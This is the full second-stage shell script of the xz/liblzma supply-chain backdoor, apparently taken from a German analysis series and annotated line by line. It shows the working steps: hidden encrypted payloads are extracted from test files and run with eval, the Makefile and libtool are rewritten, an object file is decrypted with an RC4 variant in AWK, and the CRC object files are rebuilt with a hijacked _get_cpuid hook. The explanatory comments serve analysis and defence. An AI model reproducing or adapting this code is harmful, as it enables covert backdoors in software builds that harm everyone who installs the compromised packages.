# BEGIN Variablendefinitionen
P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"
C="pic_flag=\" $P\""
O="^pic_flag=\" -fPIC -DPIC\"$"
R="is_arch_extension_supported"
x="__get_cpuid("
p="good-large_compressed.lzma" # Die Datei, aus der dieses Shellskript extrahiert wurde
U="bad-3-corrupt_lzma2.xz" # Die Datei, aus der das erste Shellskript extrahiert wurde
# END Variablendefinitionen

[ ! $(uname)="Linux" ] && exit 0 # Kaputter Test

eval $zrKcVq # Debug-Mechanismus

if test -f config.status; then
    # Erster Lauf, via configure

    eval $zrKcSS # Debug-Mechanismus

    # BEGIN Variablen aus config.status lesen
    eval `grep ^LD=\'\/ config.status`
    eval `grep ^CC=\' config.status`
    eval `grep ^GCC=\' config.status`
    eval `grep ^srcdir=\' config.status`
    eval `grep ^build=\'x86_64 config.status`
    eval `grep ^enable_shared=\'yes\' config.status`
    eval `grep ^enable_static=\' config.status`
    eval `grep ^gl_path_map=\' config.status`
    # END Variablen aus config.status lesen

    # BEGIN Erster Plug-in-Mechanismus
    vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null` # Suche nach einer Datei mit "~!:_ W"
    if test "x$vs" != "x" > /dev/null 2>&1;then
        f1=`echo $vs | cut -d: -f1` # Bei Erfolg, speichere den Dateinamen mit dem Treffer
        if test "x$f1" != "x" > /dev/null 2>&1;then
            start=`expr $(echo $vs | cut -d: -f2) + 7` # Bei Erfolg, speichere den Offset des Treffers
            ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null` # Suche nach einer Datei mit "|_!{ -"
            if test "x$ve" != "x" > /dev/null 2>&1;then
                f2=`echo $ve | cut -d: -f1` # Bei Erfolg, speichere den Dateinamen mit dem Treffer
                if test "x$f2" != "x" > /dev/null 2>&1;then
                    [ ! "x$f2" = "x$f1" ] && exit 0 # Bei Erfolg, prüfe ob beide gefunden Dateinamen identisch sind …
                    [ ! -f $f1 ] && exit 0 # … und auf eine normale Datei zeigen …
                    end=`expr $(echo $ve | cut -d: -f2) - $start`  # … und speichere den Offset des Treffers
                    eval `cat $f1 | # Lies die Datei, …
                        tail -c +${start} | # … ignoriere alles vor dem ersten Marker …
                        head -c +${end} | # … und alles nach dem zweiten Marker, …
                        tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | # … 'entschlüssel' den Inhalt dazwischen, …
                        xz -F raw --lzma2 -dc` # … entpacke den Datenstrom und führe das Ergebnis aus (anfängliches eval)
                fi
            fi
        fi
    fi
    # END Erster Plug-in-Mechanismus

    eval $zrKccj # Debug-Mechanismus

    # BEGIN Diverse Checks
    if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status > /dev/null 2>&1;then
        exit 0 # Abbrechen, wenn ifuncs nicht zur Verfügung stehen
    fi
    if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h > /dev/null 2>&1;then
        exit 0 # Wirklich abbrechen, wenn ifuncs nicht zur Verfügung stehen
    fi
    if test "x$enable_shared" != "xyes";then
        exit 0 # Abbrechen, wenn shared libraries nicht unterstützt werden. (Die Variable setzt das configure-Skript.)
    fi
    if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then
        exit 0 # Abbrechen, wenn kein Paket für x64-Linux-Systeme gebaut wird. (Die Variable setzt das configure-Skript.)
    fi
    if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc64_fast.c > /dev/null 2>&1; then
        exit 0 # Abbrechen, wenn die nötigen Quelldateien nicht gefunden werden können (1).
    fi
    if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc32_fast.c > /dev/null 2>&1; then
        exit 0 # Abbrechen, wenn die nötigen Quelldateien nicht gefunden werden können (2).
    fi
    if ! grep -qs "$R" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then
        exit 0 # Abbrechen, wenn die nötigen Quelldateien nicht gefunden werden können (3).
    fi
    if ! grep -qs "$x" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then
        exit 0 # Abbrechen, wenn die nötigen Quelldateien nicht gefunden werden können (4).
    fi
    if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
        exit 0 # Abbrechen, wenn der Compiler GCC nicht zur Verfügung steht (1).
    fi
    if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
        exit 0 # Abbrechen, wenn der Compiler GCC nicht zur Verfügung steht (2).
    fi
    LDv=$LD" -v"
    if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
        exit 0 # Abbrechen, wenn der Linker ld nicht zur Verfügung steht.
    fi
    if ! test -f "$srcdir/tests/files/$p" > /dev/null 2>&1;then
        exit 0 # Abbrechen, wenn die Datei, aus der dieses Shellskript extrahiert wurde, nicht zur Verfügung steht (wie auch immer es dazu kommen könnte).
    fi
    if ! test -f "$srcdir/tests/files/$U" > /dev/null 2>&1;then
        exit 0 # Abbrechen, wenn die Datei, aus der das erste Shellskript extrahiert wurde, nicht zur Verfügung steht (wie auch immer es dazu kommen könnte).
    fi
    # END Diverse Checks

    if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then # Nur Fortfahren, wenn ein DEB- oder RPM-Paket gebaut wird

        eval $zrKcst # Debug-Mechanismus

        # BEGIN Diverse Checks der Makefile
        j="^ACLOCAL_M4 = \$(top_srcdir)\/aclocal.m4"
        if ! grep -qs "$j" src/liblzma/Makefile > /dev/null 2>&1;then
            exit 0 # Prüft ob ein bestimmter Codeschnipsel (der im Folgenden als Ankerpunkt für eine Einfügung dient) in der Makefile steht
        fi
        z="^am__uninstall_files_from_dir = {"
        if ! grep -qs "$z" src/liblzma/Makefile > /dev/null 2>&1;then
            exit 0 # Ditto
        fi
        w="^am__install_max ="
        if ! grep -qs "$w" src/liblzma/Makefile > /dev/null 2>&1;then
            exit 0 # Ditto
        fi
        E=$z
        if ! grep -qs "$E" src/liblzma/Makefile > /dev/null 2>&1;then
            exit 0 # Ditto (Der zweite Test nochmal?! Copy-Paste-Fehler?)
        fi
        Q="^am__vpath_adj_setup ="
        if ! grep -qs "$Q" src/liblzma/Makefile > /dev/null 2>&1;then
            exit 0 # Ditto
        fi
        M="^am__include = include"
        if ! grep -qs "$M" src/liblzma/Makefile > /dev/null 2>&1;then
            exit 0 # Ditto (Dieser Ankerpunkt wird nicht genutzt. Ein obsoletes Überbleibsel?)
        fi
        L="^all: all-recursive$"
        if ! grep -qs "$L" src/liblzma/Makefile > /dev/null 2>&1;then
            exit 0 # Ditto
        fi
        m="^LTLIBRARIES = \$(lib_LTLIBRARIES)"
        if ! grep -qs "$m" src/liblzma/Makefile > /dev/null 2>&1;then
            exit 0 # Ditto
        fi
        u="AM_V_CCLD = \$(am__v_CCLD_\$(V))"
        if ! grep -qs "$u" src/liblzma/Makefile > /dev/null 2>&1;then
            exit 0 # Ditto
        fi
        # END Diverse Checks der Makefile

        if ! grep -qs "$O" libtool > /dev/null 2>&1;then
            exit 0 # O wird am Skriptanfang (Zeile 4) gesetzt: O="^pic_flag=\" -fPIC -DPIC\"$". Das Skript bricht hier ab, wenn kein position-independent code (PIC) für eine shared library generiert wird.
        fi

        eval $zrKcTy # Debug-Mechanismus

        # BEGIN Makefile-Manipulationen, unter Zuhilfenahme der obigen Ankerpunkte
        b="am__test = $U" # $U ist der Name der Datei aus der das erste Shellskript extrahiert wurde
        sed -i "/$j/i$b" src/liblzma/Makefile || true

        d=`echo $gl_path_map | sed 's/\\\/\\\\\\\\/g'` # gl_path_map stammt aus der manipulierten Makrodatei build-to-host.m4 (siehe erster Teil der Serie) und enthält das tr-Kommando, mit dem aus der ersten Testdatei ein valider xz-Datenstrom extrahiert wird. Der sed-Aufruf verpasst ihm genügend Escape-Zeichen, damit es in der Makefile funktioniert.
        b="am__strip_prefix = $d"
        sed -i "/$w/i$b" src/liblzma/Makefile || true

        b="am__dist_setup = \$(am__strip_prefix) | xz -d 2>/dev/null | \$(SHELL)"
        sed -i "/$E/i$b" src/liblzma/Makefile || true

        b="\$(top_srcdir)/tests/files/\$(am__test)" # $am__test ist der Name der Datei aus der das erste Shellskript extrahiert wurde (siehe oben)
        s="am__test_dir=$b"
        sed -i "/$Q/i$s" src/liblzma/Makefile || true

        h="-Wl,--sort-section=name,-X"
        if ! echo "$LDFLAGS" | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then
            h=$h",-z,now" # Stellt sicher, dass die Optionen --sort-section=name, -X und insb. -z now an den Linker übergeben werden. Letzteres wird im nächsten Teil der Serie relevant werden.
        fi
        j="liblzma_la_LDFLAGS += $h"
        sed -i "/$L/i$j" src/liblzma/Makefile || true

        sed -i "s/$O/$C/g" libtool || true # Ergänze die PIC-Flags um -fno-lto, -ffunction-sections und -fdata-sections

        k="AM_V_CCLD = @echo -n \$(LTDEPS); \$(am__v_CCLD_\$(V))"
        sed -i "s/$u/$k/" src/liblzma/Makefile || true
        l="LTDEPS='\$(lib_LTDEPS)'; \\\\\n\
            export top_srcdir='\$(top_srcdir)'; \\\\\n\
            export CC='\$(CC)'; \\\\\n\
            export DEFS='\$(DEFS)'; \\\\\n\
            export DEFAULT_INCLUDES='\$(DEFAULT_INCLUDES)'; \\\\\n\
            export INCLUDES='\$(INCLUDES)'; \\\\\n\
            export liblzma_la_CPPFLAGS='\$(liblzma_la_CPPFLAGS)'; \\\\\n\
            export CPPFLAGS='\$(CPPFLAGS)'; \\\\\n\
            export AM_CFLAGS='\$(AM_CFLAGS)'; \\\\\n\
            export CFLAGS='\$(CFLAGS)'; \\\\\n\
            export AM_V_CCLD='\$(am__v_CCLD_\$(V))'; \\\\\n\
            export liblzma_la_LINK='\$(liblzma_la_LINK)'; \\\\\n\
            export libdir='\$(libdir)'; \\\\\n\
            export liblzma_la_OBJECTS='\$(liblzma_la_OBJECTS)'; \\\\\n\
            export liblzma_la_LIBADD='\$(liblzma_la_LIBADD)'; \\\\\n\
            sed rpath \$(am__test_dir) | \$(am__dist_setup) >/dev/null 2>&1"; # sed rpath erinnert an das Linker-Argument -rpath gibt aber einfach nur die Datei aus, wie cat. $am__test_dir ist der Pfad der Datei aus der das erste Shellskript extrahiert wurde (siehe oben).
        sed -i "/$m/i$l" src/liblzma/Makefile || true
        # END Makefile-Manipulationen

        eval $zrKcHD # Debug-Mechanismus
    fi

elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then
    # Zweiter Lauf, via make

    # BEGIN Zweiter Plug-in-Mechanismus (funktioniert wie der erste)
    vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`
    if test "x$vs" != "x" > /dev/null 2>&1;then
        f1=`echo $vs | cut -d: -f1`
        if test "x$f1" != "x" > /dev/null 2>&1;then
            start=`expr $(echo $vs | cut -d: -f2) + 7`
            ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`
            if test "x$ve" != "x" > /dev/null 2>&1;then
                f2=`echo $ve | cut -d: -f1`
                if test "x$f2" != "x" > /dev/null 2>&1;then
                    [ ! "x$f2" = "x$f1" ] && exit 0
                    [ ! -f $f1 ] && exit 0
                    end=`expr $(echo $ve | cut -d: -f2) - $start`
                    eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
                fi
            fi
        fi
    fi
    # END Zweiter Plug-in-Mechanismus

    eval $zrKcKQ # Debug-Mechanismus

    # BEGIN Diverse Checks
    if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc64_fast.c; then
        exit 0 # Abbrechen, wenn is_arch_extension_supported() sich nicht wie erwartet im Quellcode findet (1).
    fi
    if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc32_fast.c; then
        exit 0 # Abbrechen, wenn is_arch_extension_supported() sich nicht wie erwartet im Quellcode findet (2).
    fi
    if ! grep -qs "$R" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
        exit 0 # Abbrechen, wenn is_arch_extension_supported() sich nicht wie erwartet im Quellcode findet (3).
    fi
    if ! grep -qs "$x" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
        exit 0 # Abbrechen, wenn __get_cpuid() sich nicht wie erwartet im Quellcode findet.
    fi
    if ! grep -qs "$C" ../../libtool; then
        exit 0 # Abbrechen, wenn die PIC-Flags nicht wie erwartet gesetzt wurden.
    fi
    if ! echo $liblzma_la_LINK | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then
        exit 0 # Abbrechen, wenn die Linker-Flags nicht wie erwartet gesetzt wurden.
    fi
    if echo $liblzma_la_LINK | grep -qs -e "lazy" > /dev/null 2>&1;then
        exit 0 # Abbrechen, falls das Linker-Flag "lazy" gesetzt wurde (was "now" entgegensteht)
    fi
    # END Diverse Checks

    # BEGIN Extraktion von liblzma_la-crc64-fast.o

    # BEGIN Komischer Filter
    N=0
    W=0
    Y=`grep "dnl Convert it to C string syntax." $top_srcdir/m4/gettext.m4`
    # Der Sinn dieses Filters ist nicht ganz klar. Falls gettext.m4 diese Zeile enthält, werden die Werte N und W unten so gesetzt, dass im folgenden xz-Aufruf kein Dateiinhalt extrahiert wird. Die Datei enthält diese Zeile aber nicht und überhaupt scheint das eine sehr kompliziert Art, so eine Ja-Nein-Logik auszudrücken …

    eval $zrKcjv # Debug-Mechanismus

    if test -z "$Y"; then
        N=0
        W=88664
    else
        N=88664
        W=0
    fi
    # END Komischer Filter

    xz -dc $top_srcdir/tests/files/$p | # Datei entpacken, …
        eval $i | # … sinnlose Blöcke ausfiltern, …
        LC_ALL=C sed "s/\(.\)/\1\n/g" | # … in eine Zeile pro Byte transformieren, …
        LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' |
        xz -dc --single-stream | # … mit der RC4-Variante in AWK entschlüsseln …
        ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true # … und nach Passage des "komischen Filters" in die Ausgabedatei schreiben.
    if ! test -f liblzma_la-crc64-fast.o; then
        exit 0 # Abbrechen, wenn die Datei nicht geschrieben wurde.
    fi
    # END Extraktion von liblzma_la-crc64-fast.o

    cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true # Backups anlegen

    V='#endif\n#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))\nextern int _get_cpuid(int, void*, void*, void*, void*, void*);\nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }\n#else\n#define _is_arch_extension_supported is_arch_extension_supported' # Definition der manipulierten _get_cpuid (samt Codeschnipsel drum herum, damit es sich nahtlos in die manipulierte Datei einfügt)

    eval $yosA # Debug-Mechanismus

    if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c | \
        sed "/include \"crc_x86_clmul.h\"/a \\$V" | \
        sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc64_fast.c\"" 2>/dev/null | \
        $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c -  $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null; then # liblzma_la-crc64_fast.o aus manipuliertem Code neu bauen

        cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o || true # Backups anlegen

        eval $BPep # Debug-Mechanismus

        if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc32_fast.c | \
            sed "/include \"crc32_arm64.h\"/a \\$V" | \
            sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc32_fast.c\"" 2>/dev/null | \
            $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r -x c -  $P -o .libs/liblzma_la-crc32_fast.o; then # liblzma_la-crc32_fast.o aus manipuliertem Code neu bauen

            eval $RgYB # Debug-Mechanismus

            if $AM_V_CCLD$liblzma_la_LINK -rpath $libdir $liblzma_la_OBJECTS $liblzma_la_LIBADD; then # Linker die Bibliothek erstellen lassen
                if test ! -f .libs/liblzma.so; then # Wenn die Bibliothek nicht generiert wurde, Backups wiederherstellen.
                    mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
                    mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
                fi
                rm -fr .libs/liblzma.a .libs/liblzma.la .libs/liblzma.lai .libs/liblzma.so* || true # Alle Dateien löschen (auch im Erfolgsfall, der normale Bauprozess wird die Dateien aus dem manipulierten Code wieder bauen). Der Linker-Aufruf oben dient also eigentlich nur zum Test, letztlich entsteht die Bibliothek im normalen Bauprozess.
            else # Wenn der Linker-Aufruf scheiterte, Backups wiederherstellen.
                mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
                mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
            fi
            rm -f .libs/liblzma_la-crc32-fast.o || true # Backups löschen
            rm -f .libs/liblzma_la-crc64-fast.o || true # Backups löschen
        else # Wenn der zweite Compiler-Aufruf scheiterte, Backups wiederherstellen.
            mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
            mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
        fi
    else # Wenn der erste Compiler-Aufruf scheiterte, Backup wiederherstellen.
        mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
    fi
    rm -f liblzma_la-crc64-fast.o || true # Extrahierten Schadcode löschen
fi

eval $DHLd # Debug-Mechanismus
